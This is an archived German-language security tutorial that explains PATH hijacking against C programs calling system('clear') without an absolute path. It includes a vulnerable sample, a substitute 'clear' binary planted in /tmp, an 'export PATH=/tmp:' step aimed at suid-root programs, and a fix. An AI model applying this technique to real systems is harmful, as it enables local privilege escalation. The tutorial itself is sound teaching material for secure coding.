we care because you do

Whitepaper Called PATH Attacks

Whitepaper Called PATH Attacks
Posted Sep 3, 2010
Authored by fred777

Whitepaper called PATH Attacks. Written in German.

tags | paper
MD5 | 7933cf7d3dc0e60c44aa420b47a80c47

Whitepaper Called PATH Attacks

Change Mirror Download
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*******************************************************
# APPSECURITY DOCUMENTATION #
# -------------------------------------- #
# Path Attacks #
# -------------------------------------- #
# #
# #
# written by fred777 [fred777.5x.to] #
# #
*******************************************************
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--[0x00]-- Intro
--[0x01]-- Knowledge
--[0x02]-- Exploiting
--[0x03]-- Secure Example
--[0x04]-- Finito

********************************************************
##################################################

--[0x00]-- Intro

Willkommen zu meiner kleinen Description über PATH Attacks.
PATH Attacks sind eine Art Angriff auf unsichere system() Aufrufe.
Meistens gesehen in kleinen Programmen, ja auch ich habe sie benutzt *g

########################################################################

--[0x01]-- Knowledge

Stellen wir uns mal vor, wir haben nun ein solches Programm gefunden, welches
am Schluss des Codes immer ein system("clear") benutzt, damit die Konsole auch wieder schön sauber ist.
Hier mal ein kleiner Beispielsource in C:

#include <stdio.h>

int main()
{

printf ("Firmenverwaltungssoftware 1.0\n");
printf ("Eep, hier wird verwaltet...blub\n");
system("clear");

}

ubuntu@ubuntu:~$ gcc -o prog prog.c
ubuntu@ubuntu:~$ ./prog
...

Man sieht hier am Ende ein System() Aufruf welcher clear aufrufen soll.
Nur wo liegt das Problem dabei?
Ganz einfach, wenn man mal nachdenkt woher system() weiß, wo clear
letztendlich liegt, nämlich in /usr/bin/clear.
system() macht nichts anderes als in den Verzeichnissen welche
in der PATH Environment Variable angegeben sind, zu suchen.
Schauen wir uns doch einfach mal den jetzigen Inhalt von $PATH an:

ubuntu@ubuntu:~$ $PATH
bash: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:

So hier sieht man, dass der System() Aufruf in:
/usr/local/sbin:
/usr/local/bin:
/usr/sbin:
/usr/bin:
/sbin:
/bin:
/usr/games:
nach "clear" sucht, und es letztendlich in usr/bin: findet.

########################################################################

--[0x02]-- Exploiting

Nun kommen wir zum eigentlichen Kern des Papers, wir verändern einfach
den Inhalt und leiten den Aufruf zu unseren Gunsten um, das geht mit export:

export [Var]=[Verzeichnis]

Zuerst einmal erstellen wir aber ein eigenes Clear welches später anstatt
des Unix-Clears ausgeführt werden soll, für den Anfang reicht ein normales printf in /tmp :>

#include <stdio.h>

int main() {

printf("\n");
printf("Your 0verl33t Shellcode");
printf("\n");

}

ubuntu@ubuntu:/tmp$ gcc -o clear clear.c
ubuntu@ubuntu:/tmp$ ./clear
..

Klappt auch so weit ;)
Nun kommt unser oben schon erwähntes export an die Reihe, dafür
switchen wir wieder zu unserem "prog" ins Verzeichnis:

ubuntu@ubuntu:/$ export PATH=/tmp:
ubuntu@ubuntu:/$ $PATH
bash: /tmp:: No such file or directory

Wir merken schon, ein normales ls -l schlägt fehl..
Wunderbar, nun sollte system() in /tmp suchen und unser clear-programm finden

ubuntu@ubuntu:~$ ./prog
Firmenverwaltungssoftware 1.0
Eep, hier wird verwaltet...blub

Your Shellcode <-----

Ohne Privis zu droppen führt jetzt das Programm (suid root) unser Clear aus..
Hier nur ein printf, später vielleicht eine Shell?...

########################################################################

--[0x03]-- Secure Example

Wir wollen aber nun unbedingt ein clear ausführen am Ende das Programms,
welches sicher ist, dafür müssen wir nichts weiter machen als den absoluten
Pfad anzugeben, welcher wie wir wissen /usr/bin/clear ist..

#include <stdio.h>

int main()
{

printf ("Firmenverwaltungssoftware 1.0\n");
printf ("Eep, hier wird verwaltet...blub\n");
system("/usr/bin/clear");

}

ubuntu@ubuntu:~$ gcc -o prog prog.c
ubuntu@ubuntu:~$ export PATH=/tmp:
ubuntu@ubuntu:~$ ./prog
*funktioniert..

Klar gibt es noch einige Lösungswege, auch außerhalb von system(), dies sollte
aber eher als kleine Einführung dienen. Wichtig auch, dass jeder User seine eigenen
Environment Variablen hat. Taucht so ein Fehler auf, sollte der Angreifer schon
Zugang zu einem Account haben und das Programm mit Root Rechten ausgestattet sein.

########################################################################

--[0x04]-- Finito

So ich hoffe als kleine Erklärung hat das gereicht, ihr könnt ja selbst mal
was nettes basteln wie eine Remote Shell, oder was auch immer....

fred777.5x.to

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    11 Files
  • 27
    May 27th
    8 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close